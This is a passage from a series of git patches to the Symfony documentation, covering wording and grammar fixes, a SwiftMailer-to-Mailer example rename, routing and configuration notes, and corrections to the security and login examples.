+++ b/components/validator/metadata.rst
@@ -67,7 +67,7 @@ Then, add the Validator component configuration to the class::
 Classes
 -------
 
-Some constraints allow to validate the entire object. For example, the
+Some constraints allow validating the entire object. For example, the
 :doc:`Callback </reference/constraints/Callback>` constraint is a generic
 constraint that's applied to the class itself.
 

From 368ed327bdfe4a5d4ffff2491b165bfa0cb83b69 Mon Sep 17 00:00:00 2001
From: Vincent Amstoutz <vincent.amstoutz@outlook.fr>
Date: Wed, 7 Dec 2022 16:53:24 +0100
Subject: [PATCH 2600/5766] From SwiftMailer to Mailer

---
 service_container/tags.rst | 46 +++++++++++++++++++-------------------
 1 file changed, 23 insertions(+), 23 deletions(-)

diff --git a/service_container/tags.rst b/service_container/tags.rst
index 94d7d2036b3..ab1064e4ece 100644
--- a/service_container/tags.rst
+++ b/service_container/tags.rst
@@ -161,9 +161,9 @@ all services that were tagged with some specific tag. This is useful in
 compiler passes where you can find these services and use or modify them in
 some specific way.
 
-For example, if you are using Swift Mailer you might imagine that you want
+For example, if you are using the Symfony component Mailer you might imagine that you want
 to implement a "transport chain", which is a collection of classes implementing
-``\Swift_Transport``. Using the chain, you'll want Swift Mailer to try several
+``\MailerTransport``. Using the chain, you'll want Mailer to try several
 ways of transporting the message until one succeeds.
 
 To begin with, define the ``TransportChain`` class::
@@ -180,7 +180,7 @@ To begin with, define the ``TransportChain`` class::
             $this->transports = [];
         }
 
-        public function addTransport(\Swift_Transport $transport): void
+        public function addTransport(\MailerTransport $transport): void
         {
             $this->transports[] = $transport;
         }
@@ -227,7 +227,7 @@ Then, define the chain as a service:
 Define Services with a Custom Tag
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-Now you might want several of the ``\Swift_Transport`` classes to be instantiated
+Now you might want several of the ``\MailerTransport`` classes to be instantiated
 and added to the chain automatically using the ``addTransport()`` method.
 For example, you may add the following transports as services:
 
@@ -237,11 +237,11 @@ For example, you may add the following transports as services:
 
         # config/services.yaml
         services:
-            Swift_SmtpTransport:
+            MailerSmtpTransport:
                 arguments: ['%mailer_host%']
                 tags: ['app.mail_transport']
 
-            Swift_SendmailTransport:
+            MailerSendmailTransport:
                 tags: ['app.mail_transport']
 
     .. code-block:: xml
@@ -254,13 +254,13 @@ For example, you may add the following transports as services:
                 https://symfony.com/schema/dic/services/services-1.0.xsd">
 
             <services>
-                <service id="Swift_SmtpTransport">
+                <service id="MailerSmtpTransport">
                     <argument>%mailer_host%</argument>
 
                     <tag name="app.mail_transport"/>
                 </service>
 
-                <service id="Swift_SendmailTransport">
+                <service id="MailerSendmailTransport">
                     <tag name="app.mail_transport"/>
                 </service>
             </services>
@@ -274,13 +274,13 @@ For example, you may add the following transports as services:
         return function(ContainerConfigurator $configurator) {
             $services = $configurator->services();
 
-            $services->set(\Swift_SmtpTransport::class)
+            $services->set(\MailerSmtpTransport::class)
                 // the param() method was introduced in Symfony 5.2.
                 ->args([param('mailer_host')])
                 ->tag('app.mail_transport')
             ;
 
-            $services->set(\Swift_SendmailTransport::class)
+            $services->set(\MailerSendmailTransport::class)
                 ->tag('app.mail_transport')
             ;
         };
@@ -375,12 +375,12 @@ To begin with, change the ``TransportChain`` class::
             $this->transports = [];
         }
 
-        public function addTransport(\Swift_Transport $transport, $alias): void
+        public function addTransport(\MailerTransport $transport, $alias): void
         {
             $this->transports[$alias] = $transport;
         }
 
-        public function getTransport($alias): ?\Swift_Transport
+        public function getTransport($alias): ?\MailerTransport
         {
             if (array_key_exists($alias, $this->transports)) {
                 return $this->transports[$alias];
@@ -390,7 +390,7 @@ To begin with, change the ``TransportChain`` class::
         }
     }
 
-As you can see, when ``addTransport()`` is called, it takes not only a ``Swift_Transport``
+As you can see, when ``addTransport()`` is called, it takes not only a ``MailerTransport``
 object, but also a string alias for that transport. So, how can you allow
 each tagged transport service to also supply an alias?
 
@@ -402,12 +402,12 @@ To answer this, change the service declaration:
 
         # config/services.yaml
         services:
-            Swift_SmtpTransport:
+            MailerSmtpTransport:
                 arguments: ['%mailer_host%']
                 tags:
                     - { name: 'app.mail_transport', alias: 'smtp' }
 
-            Swift_SendmailTransport:
+            MailerSendmailTransport:
                 tags:
                     - { name: 'app.mail_transport', alias: 'sendmail' }
 
@@ -421,13 +421,13 @@ To answer this, change the service declaration:
                 https://symfony.com/schema/dic/services/services-1.0.xsd">
 
             <services>
-                <service id="Swift_SmtpTransport">
+                <service id="MailerSmtpTransport">
                     <argument>%mailer_host%</argument>
 
                     <tag name="app.mail_transport" alias="smtp"/>
                 </service>
 
-                <service id="Swift_SendmailTransport">
+                <service id="MailerSendmailTransport">
                     <tag name="app.mail_transport" alias="sendmail"/>
                 </service>
             </services>
@@ -441,13 +441,13 @@ To answer this, change the service declaration:
         return function(ContainerConfigurator $configurator) {
             $services = $configurator->services();
 
-            $services->set(\Swift_SmtpTransport::class)
+            $services->set(\MailerSmtpTransport::class)
                 // the param() method was introduced in Symfony 5.2.
                 ->args([param('mailer_host')])
                 ->tag('app.mail_transport', ['alias' => 'smtp'])
             ;
 
-            $services->set(\Swift_SendmailTransport::class)
+            $services->set(\MailerSendmailTransport::class)
                 ->tag('app.mail_transport', ['alias' => 'sendmail'])
             ;
         };
@@ -463,13 +463,13 @@ To answer this, change the service declaration:
         # config/services.yaml
         services:
             # Compact syntax
-            Swift_SendmailTransport:
-                class: \Swift_SendmailTransport
+            MailerSendmailTransport:
+                class: \MailerSendmailTransport
                 tags: ['app.mail_transport']
 
             # Verbose syntax
-            Swift_SendmailTransport:
-                class: \Swift_SendmailTransport
+            MailerSendmailTransport:
+                class: \MailerSendmailTransport
                 tags:
                     - { name: 'app.mail_transport' }
 

From e3a159f4da10fe6135ee22efb0d7257ef1cc8730 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 8 Dec 2022 12:13:58 +0100
Subject: [PATCH 2601/5766] Minor tweak

---
 service_container/tags.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/service_container/tags.rst b/service_container/tags.rst
index ab1064e4ece..9c89ef8c85a 100644
--- a/service_container/tags.rst
+++ b/service_container/tags.rst
@@ -161,7 +161,7 @@ all services that were tagged with some specific tag. This is useful in
 compiler passes where you can find these services and use or modify them in
 some specific way.
 
-For example, if you are using the Symfony component Mailer you might imagine that you want
+For example, if you are using the Symfony Mailer component you might want
 to implement a "transport chain", which is a collection of classes implementing
 ``\MailerTransport``. Using the chain, you'll want Mailer to try several
 ways of transporting the message until one succeeds.

From 5cf6f9e38fa847fa109664272d35e80e169a8142 Mon Sep 17 00:00:00 2001
From: MrYamous <matt.lempereur@gmail.com>
Date: Tue, 6 Dec 2022 23:48:58 +0100
Subject: [PATCH 2602/5766] add precision for stopwatch getEvent function

---
 performance.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/performance.rst b/performance.rst
index 1db6359cda0..17c77d7c038 100644
--- a/performance.rst
+++ b/performance.rst
@@ -278,7 +278,7 @@ information about the current event, even while it's still running. This
 object can be converted to a string for a quick summary::
 
     // ...
-    dump((string) $this->stopwatch->getEvent()); // dumps e.g. '4.50 MiB - 26 ms'
+    dump((string) $this->stopwatch->getEvent('export-data')); // dumps e.g. '4.50 MiB - 26 ms'
 
 You can also profile your template code with the :ref:`stopwatch Twig tag <reference-twig-tag-stopwatch>`:
 

From 16fe8bd0cef7bfdcb535e7c0acc517f97e1bea33 Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Tue, 6 Dec 2022 16:54:26 +0100
Subject: [PATCH 2603/5766] Adding link to Kernel configuration

---
 configuration.rst | 2 ++
 routing.rst       | 8 ++++----
 2 files changed, 6 insertions(+), 4 deletions(-)

diff --git a/configuration.rst b/configuration.rst
index 6d2638008fa..d1ae76084a1 100644
--- a/configuration.rst
+++ b/configuration.rst
@@ -52,6 +52,8 @@ to change these files after package installation
     :doc:`Symfony Configuration Reference </reference/index>` or run the
     ``config:dump-reference`` command.
 
+.. _configuration-formats:
+
 Configuration Formats
 ~~~~~~~~~~~~~~~~~~~~~
 
diff --git a/routing.rst b/routing.rst
index 1d72af7bbe5..25ee1c2abe6 100644
--- a/routing.rst
+++ b/routing.rst
@@ -183,11 +183,11 @@ the ``BlogController``:
             ;
         };
 
-.. versionadded:: 5.1
+.. note::
 
-    Starting from Symfony 5.1, by default Symfony only loads the routes defined
-    in YAML format. If you define routes in XML and/or PHP formats, update the
-    ``src/Kernel.php`` file to add support for the ``.xml`` and ``.php`` file extensions.
+    By default Symfony only loads the routes defined in YAML format. If you
+    define routes in XML and/or PHP formats, you need to
+    :ref:`update the ``src/Kernel.php`` file <configuration-formats>`.
 
 .. _routing-matching-http-methods:
 

From 483ea4239f6e0cfeb807390a1cfe141c211355af Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Tue, 6 Dec 2022 17:52:01 +0100
Subject: [PATCH 2604/5766] Adding default PHP format

Info is taken from https://github.com/symfony/symfony-docs/pull/17515#issuecomment-1339189865
---
 routing.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/routing.rst b/routing.rst
index 7dfdd791eb5..987018a76e7 100644
--- a/routing.rst
+++ b/routing.rst
@@ -151,8 +151,8 @@ the ``BlogController``:
 
 .. note::
 
-    By default Symfony only loads the routes defined in YAML format. If you
-    define routes in XML and/or PHP formats, you need to
+    By default Symfony only loads the routes defined in YAML and PHP format.
+    If you define routes in XML, you need to
     :ref:`update the ``src/Kernel.php`` file <configuration-formats>`.
 
 .. _routing-matching-http-methods:

From 4b3f0475a37efb28403e2165f052a465d49c505c Mon Sep 17 00:00:00 2001
From: Robin Willig <robin@dragonito.net>
Date: Tue, 6 Dec 2022 20:48:13 +0100
Subject: [PATCH 2605/5766] Some text improvements

---
 best_practices.rst | 46 +++++++++++++++++++++++-----------------------
 1 file changed, 23 insertions(+), 23 deletions(-)

diff --git a/best_practices.rst b/best_practices.rst
index 82ebdc94550..cb8825dfc89 100644
--- a/best_practices.rst
+++ b/best_practices.rst
@@ -81,8 +81,8 @@ Configuration
 Use Environment Variables for Infrastructure Configuration
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-The values of these options change from one machine to another (e.g. from your
-development machine to the production server) but they don't modify the
+The values of these options change from one machine to another (e.g., from your
+development machine to the production server), but they don't modify the
 application behavior.
 
 :ref:`Use env vars in your project <config-env-vars>` to define these options
@@ -93,7 +93,7 @@ and create multiple ``.env`` files to :ref:`configure env vars per environment <
 Use Secrets for Sensitive Information
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-When your application has sensitive configuration - like an API key - you should
+When your application has sensitive configuration, like an API key, you should
 store those securely via :doc:`Symfony’s secrets management system </configuration/secrets>`.
 
 Use Parameters for Application Configuration
@@ -119,7 +119,7 @@ Then, use just one or two words to describe the purpose of the parameter:
 
     # config/services.yaml
     parameters:
-        # don't do this: 'dir' is too generic and it doesn't convey any meaning
+        # don't do this: 'dir' is too generic, and it doesn't convey any meaning
         app.dir: '...'
         # do this: short but easy to understand names
         app.contents_dir: '...'
@@ -164,7 +164,7 @@ InvoiceBundle, etc. However, a bundle is meant to be something that can be
 reused as a stand-alone piece of software.
 
 If you need to reuse some feature in your projects, create a bundle for it (in a
-private repository, to not make it publicly available). For the rest of your
+private repository, do not make it publicly available). For the rest of your
 application code, use PHP namespaces to organize code instead of bundles.
 
 Use Autowiring to Automate the Configuration of Application Services
@@ -186,14 +186,14 @@ Services Should be Private Whenever Possible
 those services via ``$container->get()``. Instead, you will need to use proper
 dependency injection.
 
-Use the YAML Format to Configure your Own Services
+Use the YAML Format to Configure your own Services
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
 If you use the :ref:`default services.yaml configuration <service-container-services-load-example>`,
 most services will be configured automatically. However, in some edge cases
 you'll need to configure services (or parts of them) manually.
 
-YAML is the format recommended to configure services because it's friendly to
+YAML is the format recommended configuring services because it's friendly to
 newcomers and concise, but Symfony also supports XML and PHP configuration.
 
 Use Attributes to Define the Doctrine Entity Mapping
@@ -228,13 +228,13 @@ important parts of your application.
 
 .. _best-practice-controller-annotations:
 
-Use Attributes or Annotations to Configure Routing, Caching and Security
+Use Attributes or Annotations to Configure Routing, Caching, and Security
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-Using attributes or annotations for routing, caching and security simplifies
+Using attributes or annotations for routing, caching, and security simplifies
 configuration. You don't need to browse several files created with different
-formats (YAML, XML, PHP): all the configuration is just where you need it and
-it only uses one format.
+formats (YAML, XML, PHP): all the configuration is just where you  require it,
+and it only uses one format.
 
 Don't Use Annotations to Configure the Controller Template
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
@@ -271,7 +271,7 @@ Templates
 Use Snake Case for Template Names and Variables
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-Use lowercase snake_case for template names, directories and variables (e.g.
+Use lowercase snake_case for template names, directories, and variables (e.g.,
 ``user_profile`` instead of ``userProfile`` and ``product/edit_form.html.twig``
 instead of ``Product/EditForm.html.twig``).
 
@@ -280,7 +280,7 @@ Prefix Template Fragments with an Underscore
 
 Template fragments, also called *"partial templates"*, allow to
 :ref:`reuse template contents <templates-reuse-contents>`. Prefix their names
-with an underscore to better differentiate them from complete templates (e.g.
+with an underscore to better differentiate them from complete templates (e.g.,
 ``_user_metadata.html.twig`` or ``_caution_message.html.twig``).
 
 Forms
@@ -289,7 +289,7 @@ Forms
 Define your Forms as PHP Classes
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-Creating :ref:`forms in classes <creating-forms-in-classes>` allows to reuse
+Creating :ref:`forms in classes <creating-forms-in-classes>` allows reusing
 them in different parts of the application. Besides, not creating forms in
 controllers simplify the code and maintenance of the controllers.
 
@@ -301,7 +301,7 @@ button of a form used to both create and edit items should change from "Add new"
 to "Save changes" depending on where it's used.
 
 Instead of adding buttons in form classes or the controllers, it's recommended
-to add buttons in the templates. This also improves the separation of concerns,
+to add buttons in the templates. This also improves the separation of concerns
 because the button styling (CSS class and other attributes) is defined in the
 template instead of in a PHP class.
 
@@ -323,7 +323,7 @@ Use a Single Action to Render and Process the Form
 
 :ref:`Rendering forms <rendering-forms>` and :ref:`processing forms <processing-forms>`
 are two of the main tasks when handling forms. Both are too similar (most of the
-times, almost identical), so it's much simpler to let a single controller action
+time, almost identical), so it's much simpler to let a single controller action
 handle both.
 
 .. _best-practice-internationalization:
@@ -347,8 +347,8 @@ Use Keys for Translations Instead of Content Strings
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
 Using keys simplifies the management of the translation files because you can
-change the original contents in templates, controllers and services without
-having to update all of the translation files.
+change the original contents in templates, controllers, and services without
+having to update all the translation files.
 
 Keys should always describe their *purpose* and *not* their location. For
 example, if a form has a field with the label "Username", then a nice key
@@ -361,7 +361,7 @@ Define a Single Firewall
 ~~~~~~~~~~~~~~~~~~~~~~~~
 
 Unless you have two legitimately different authentication systems and users
-(e.g. form login for the main site and a token system for your API only), it's
+(e.g., form login for the main site and a token system for your API only), it's
 recommended to have only one firewall to keep things simple.
 
 Additionally, you should use the ``anonymous`` key under your firewall. If you
@@ -389,13 +389,13 @@ Web Assets
 Use Webpack Encore to Process Web Assets
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-Web assets are things like CSS, JavaScript and image files that make the
-frontend of your site looks and works great. `Webpack`_ is the leading JavaScript
+Web assets are things like CSS, JavaScript, and image files that make the
+frontend of your site look and work great. `Webpack`_ is the leading JavaScript
 module bundler that compiles, transforms and packages assets for usage in a browser.
 
 :doc:`Webpack Encore </frontend>` is a JavaScript library that gets rid of most
 of Webpack complexity without hiding any of its features or distorting its usage
-and philosophy. It was originally created for Symfony applications, but it works
+and philosophy. It was created for Symfony applications, but it works
 for any application using any technology.
 
 Tests
@@ -453,7 +453,7 @@ public URL changes, users won't be able to browse it unless you set up a
 redirection to the new URL.
 
 That's why it's recommended to use raw URLs in tests instead of generating them
-from routes. Whenever a route changes, tests will fail and you'll know that
+from routes. Whenever a route changes, tests will fail, and you'll know that
 you must set up a redirection.
 
 .. _`Symfony Demo`: https://github.com/symfony/demo

From 9e02e5b87612630f0062d0cf7a124c5769896405 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 8 Dec 2022 14:41:37 +0100
Subject: [PATCH 2606/5766] Tweaks

---
 LICENSE.md                     | 6 +++---
 best_practices.rst             | 8 ++++----
 contributing/code/security.rst | 2 +-
 translation.rst                | 4 ++--
 4 files changed, 10 insertions(+), 10 deletions(-)

diff --git a/LICENSE.md b/LICENSE.md
index 01524e6ec84..547ac103984 100644
--- a/LICENSE.md
+++ b/LICENSE.md
@@ -195,7 +195,7 @@ b. You may Distribute or Publicly Perform an Adaptation only under the terms of:
 (i) this License; (ii) a later version of this License with the same License
 Elements as this License; (iii) a Creative Commons jurisdiction license (either
 this or a later license version) that contains the same License Elements as this
-License (e.g., Attribution-ShareAlike 3.0 US)); (iv) a Creative Commons
+License (e.g. Attribution-ShareAlike 3.0 US)); (iv) a Creative Commons
 Compatible License. If you license the Adaptation under one of the licenses
 mentioned in (iv), you must comply with the terms of that license. If you
 license the Adaptation under the terms of any of the licenses mentioned in (i),
@@ -221,7 +221,7 @@ Collections, You must, unless a request has been made pursuant to Section 4(a),
 keep intact all copyright notices for the Work and provide, reasonable to the
 medium or means You are utilizing: (i) the name of the Original Author (or
 pseudonym, if applicable) if supplied, and/or if the Original Author and/or
-Licensor designate another party or parties (e.g., a sponsor institute,
+Licensor designate another party or parties (e.g. a sponsor institute,
 publishing entity, journal) for attribution ("Attribution Parties") in
 Licensor's copyright notice, terms of service or by other reasonable means, the
 name of such party or parties; (ii) the title of the Work if supplied; (iii) to
@@ -229,7 +229,7 @@ the extent reasonably practicable, the URI, if any, that Licensor specifies to
 be associated with the Work, unless such URI does not refer to the copyright
 notice or licensing information for the Work; and (iv) , consistent with Section
 3(b), in the case of an Adaptation, a credit identifying the use of the Work in
-the Adaptation (e.g., "French translation of the Work by Original Author," or
+the Adaptation (e.g. "French translation of the Work by Original Author," or
 "Screenplay based on original Work by Original Author"). The credit required by
 this Section 4(c) may be implemented in any reasonable manner; provided,
 however, that in the case of a Adaptation or Collection, at a minimum such
diff --git a/best_practices.rst b/best_practices.rst
index cb8825dfc89..32af3400c0a 100644
--- a/best_practices.rst
+++ b/best_practices.rst
@@ -81,7 +81,7 @@ Configuration
 Use Environment Variables for Infrastructure Configuration
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-The values of these options change from one machine to another (e.g., from your
+The values of these options change from one machine to another (e.g. from your
 development machine to the production server), but they don't modify the
 application behavior.
 
@@ -271,7 +271,7 @@ Templates
 Use Snake Case for Template Names and Variables
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-Use lowercase snake_case for template names, directories, and variables (e.g.,
+Use lowercase snake_case for template names, directories, and variables (e.g.
 ``user_profile`` instead of ``userProfile`` and ``product/edit_form.html.twig``
 instead of ``Product/EditForm.html.twig``).
 
@@ -280,7 +280,7 @@ Prefix Template Fragments with an Underscore
 
 Template fragments, also called *"partial templates"*, allow to
 :ref:`reuse template contents <templates-reuse-contents>`. Prefix their names
-with an underscore to better differentiate them from complete templates (e.g.,
+with an underscore to better differentiate them from complete templates (e.g.
 ``_user_metadata.html.twig`` or ``_caution_message.html.twig``).
 
 Forms
@@ -361,7 +361,7 @@ Define a Single Firewall
 ~~~~~~~~~~~~~~~~~~~~~~~~
 
 Unless you have two legitimately different authentication systems and users
-(e.g., form login for the main site and a token system for your API only), it's
+(e.g. form login for the main site and a token system for your API only), it's
 recommended to have only one firewall to keep things simple.
 
 Additionally, you should use the ``anonymous`` key under your firewall. If you
diff --git a/contributing/code/security.rst b/contributing/code/security.rst
index 7aab51ff919..558f564dfd8 100644
--- a/contributing/code/security.rst
+++ b/contributing/code/security.rst
@@ -152,7 +152,7 @@ score for Impact is capped at 6. Each area is scored between 0 and 4.*
   on an end-users system, or the server that it runs on? (0-4)
 * Availability: Is the availability of a service or application affected? Is
   it reduced availability or total loss of availability of a service /
-  application? Availability includes networked services (e.g., databases) or
+  application? Availability includes networked services (e.g. databases) or
   resources such as consumption of network bandwidth, processor cycles, or
   disk space. (0-4)
 
diff --git a/translation.rst b/translation.rst
index dc5288a09f0..d58b1c6e173 100644
--- a/translation.rst
+++ b/translation.rst
@@ -724,10 +724,10 @@ configure the ``providers`` option:
 
 .. tip::
 
-    If you use Lokalise as provider and a locale format following the `ISO 639-1`_ (e.g., "en" or "fr"),
+    If you use Lokalise as provider and a locale format following the `ISO 639-1`_ (e.g. "en" or "fr"),
     you have to set the `Custom Language Name setting`_ in Lokalise for each of your locales,
     in order to override the default value (which follow the `ISO 639-1`_ succeeded by a sub-code
-    in capital letters that specifies the national variety (e.g., "GB" or "US" according to `ISO 3166-1 alpha-2`_)).
+    in capital letters that specifies the national variety (e.g. "GB" or "US" according to `ISO 3166-1 alpha-2`_)).
 
 Pushing and Pulling Translations
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

From 7312eba53e0bb28574c16ce40bf52222e60b705f Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 8 Dec 2022 16:25:13 +0100
Subject: [PATCH 2607/5766] Minor tweak

---
 security/expressions.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/security/expressions.rst b/security/expressions.rst
index 338c5c94ab9..e24506b1d0e 100644
--- a/security/expressions.rst
+++ b/security/expressions.rst
@@ -44,8 +44,8 @@ syntax, see :doc:`/components/expression_language/syntax`.
 Inside the expression, you have access to a number of variables:
 
 ``user``
-    An instance of :class:`Symfony\\Component\\Security\\Core\\User\\UserInterface` that represents the current user
-    or ``null`` if you're not authenticated.
+    An instance of :class:`Symfony\\Component\\Security\\Core\\User\\UserInterface`
+    that represents the current user or ``null`` if you're not authenticated.
 ``role_names``
     An array with the string representation of the roles the user has. This array
     includes any roles granted indirectly via the :ref:`role hierarchy <security-role-hierarchy>` but it

From c654ef82110acb6a7c17b3476028b1d36301390c Mon Sep 17 00:00:00 2001
From: Antoine Lamirault <lamiraultantoine@gmail.com>
Date: Sun, 27 Nov 2022 18:40:39 +0100
Subject: [PATCH 2608/5766] enable_annotations read also attributes

---
 reference/configuration/framework.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index 391db4ba386..cb963187290 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -2578,7 +2578,7 @@ enable_annotations
 
 **type**: ``boolean`` **default**: ``false``
 
-If this option is enabled, validation constraints can be defined using annotations.
+If this option is enabled, validation constraints can be defined using annotations or attributes.
 
 translation_domain
 ..................
@@ -2787,7 +2787,7 @@ enable_annotations
 
 **type**: ``boolean`` **default**: ``false``
 
-If this option is enabled, serialization groups can be defined using annotations.
+If this option is enabled, serialization groups can be defined using annotations or attributes.
 
 .. seealso::
 

From 4addacde34edd808b60ed540527342062cc0d470 Mon Sep 17 00:00:00 2001
From: HypeMC <hypemc@gmail.com>
Date: Fri, 9 Dec 2022 02:31:28 +0100
Subject: [PATCH 2609/5766] [Routing] Fix link text

---
 routing.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/routing.rst b/routing.rst
index ec072be817e..9c07a7c66ec 100644
--- a/routing.rst
+++ b/routing.rst
@@ -187,7 +187,7 @@ the ``BlogController``:
 
     By default Symfony only loads the routes defined in YAML format. If you
     define routes in XML and/or PHP formats, you need to
-    :ref:`update the ``src/Kernel.php`` file <configuration-formats>`.
+    :ref:`update the src/Kernel.php file <configuration-formats>`.
 
 .. _routing-matching-http-methods:
 

From b8a7ff82430587f10c9eba7fe07a0ef6dbcfd56b Mon Sep 17 00:00:00 2001
From: Lauri <contact@lauri.xyz>
Date: Fri, 9 Dec 2022 16:04:31 +0200
Subject: [PATCH 2610/5766] Fix "Login Programmatically" code example

---
 security.rst | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/security.rst b/security.rst
index e3a6ccf9038..9e615323bbe 100644
--- a/security.rst
+++ b/security.rst
@@ -1648,16 +1648,16 @@ You can log in a user programmatically using the `login()` method of the
             $user = ...;
 
             // log the user in on the current firewall
-            $this->security->login($user);
+            $security->login($user);
 
             // if the firewall has more than one authenticator, you must pass it explicitly
             // by using the name of built-in authenticators...
-            $this->security->login($user, 'form_login');
+            $security->login($user, 'form_login');
             // ...or the service id of custom authenticators
-            $this->security->login($user, ExampleAuthenticator::class);
+            $security->login($user, ExampleAuthenticator::class);
 
             // you can also log in on a different firewall
-            $this->security->login($user, 'form_login', 'other_firewall');
+            $security->login($user, 'form_login', 'other_firewall');
 
             // ... redirect the user to its account page for instance
         }

From 4cfa2ce3fa93f149499a1aa309790e11b93aa91c Mon Sep 17 00:00:00 2001
From: Fabien Potencier <fabien@potencier.org>
Date: Fri, 9 Dec 2022 16:06:43 +0100
Subject: [PATCH 2611/5766] Add SensitiveParameter attribute in the security
 hardening list

---
 contributing/code/security.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/contributing/code/security.rst b/contributing/code/security.rst
index 7aab51ff919..1d2468af388 100644
--- a/contributing/code/security.rst
+++ b/contributing/code/security.rst
@@ -22,8 +22,8 @@ email for confirmation):
   is set to ``true`` or ``APP_ENV`` set to anything but ``prod``);
 
 * Any fix that can be classified as **security hardening** like route
-  enumeration, login throttling bypasses, denial of service attacks, or timing
-  attacks.
+  enumeration, login throttling bypasses, denial of service attacks, timing
+  attacks, or lack of ``SensitiveParameter`` attributes.
 
 In any case, the core team has the final decision on which issues are
 considered security vulnerabilities.

From 1e0800b29487c1db59af74e1e9c87325e8d70921 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Jan=20Sch=C3=A4dlich?=
 <1880467+jschaedl@users.noreply.github.com>
Date: Thu, 8 Dec 2022 22:32:09 +0100
Subject: [PATCH 2612/5766] Update link to HAL specification

---
 serializer.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/serializer.rst b/serializer.rst
index 1a478df6d0f..ee31efa0b12 100644
--- a/serializer.rst
+++ b/serializer.rst
@@ -424,4 +424,4 @@ take a look at how this bundle works.
 .. _`OpenAPI`: https://www.openapis.org
 .. _`GraphQL`: https://graphql.org
 .. _`JSON:API`: https://jsonapi.org
-.. _`HAL`: http://stateless.co/hal_specification.html
+.. _`HAL`: https://stateless.group/hal_specification.html

From c9aa4e5f34c244433b609e834c9fe33a9aca9fcf Mon Sep 17 00:00:00 2001
From: W0rma <beck.worma@gmail.com>
Date: Sat, 10 Dec 2022 21:00:19 +0100
Subject: [PATCH 2613/5766] Fix typo in FQCN of deprecated security class

---
 security.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/security.rst b/security.rst
index 9e615323bbe..d8fb76b7db2 100644
--- a/security.rst
+++ b/security.rst
@@ -1624,7 +1624,7 @@ Login Programmatically
 
     The :class:`Symfony\Bundle\SecurityBundle\Security <Symfony\\Bundle\\SecurityBundle\\Security>`
     class was introduced in Symfony 6.2. Prior to 6.2, it was called
-    ``Symfony\Bundle\SecurityBundle\Security``.
+    ``Symfony\Component\Security\Core\Security``.
 
 .. versionadded:: 6.2
 
@@ -1794,7 +1794,7 @@ Logout programmatically
 
     The :class:`Symfony\Bundle\SecurityBundle\Security <Symfony\\Bundle\\SecurityBundle\\Security>`
     class was introduced in Symfony 6.2. Prior to 6.2, it was called
-    ``Symfony\Bundle\SecurityBundle\Security``.
+    ``Symfony\Component\Security\Core\Security``.
 
 .. versionadded:: 6.2
 

From 086a347684788b22321f4d2dd7a34745b3a89e70 Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Sun, 11 Dec 2022 11:02:07 +0100
Subject: [PATCH 2614/5766] Moving the new `env()` syntax upwards, to be shown
 as the preferred way

---
 configuration.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/configuration.rst b/configuration.rst
index d1ae76084a1..4265c1419b2 100644
--- a/configuration.rst
+++ b/configuration.rst
@@ -646,9 +646,9 @@ This example shows how you could configure the database connection using an env
             $container->extension('doctrine', [
                 'dbal' => [
                     // by convention the env var names are always uppercase
-                    'url' => '%env(resolve:DATABASE_URL)%',
-                    // or
                     'url' => env('DATABASE_URL')->resolve(),
+                    // or
+                    'url' => '%env(resolve:DATABASE_URL)%',
                 ],
             ]);
         };

From 303c5cf6667fffa027ac8f7c98c4d822b2432ae1 Mon Sep 17 00:00:00 2001
From: Matthieu Lempereur <matt.lempereur@gmail.com>
Date: Mon, 12 Dec 2022 09:44:22 +0100
Subject: [PATCH 2615/5766] validator - add missing constraint when

---
 reference/constraints/map.rst.inc | 1 +
 1 file changed, 1 insertion(+)

diff --git a/reference/constraints/map.rst.inc b/reference/constraints/map.rst.inc
index 9f8eb4b8c3f..f13a92f58ac 100644
--- a/reference/constraints/map.rst.inc
+++ b/reference/constraints/map.rst.inc
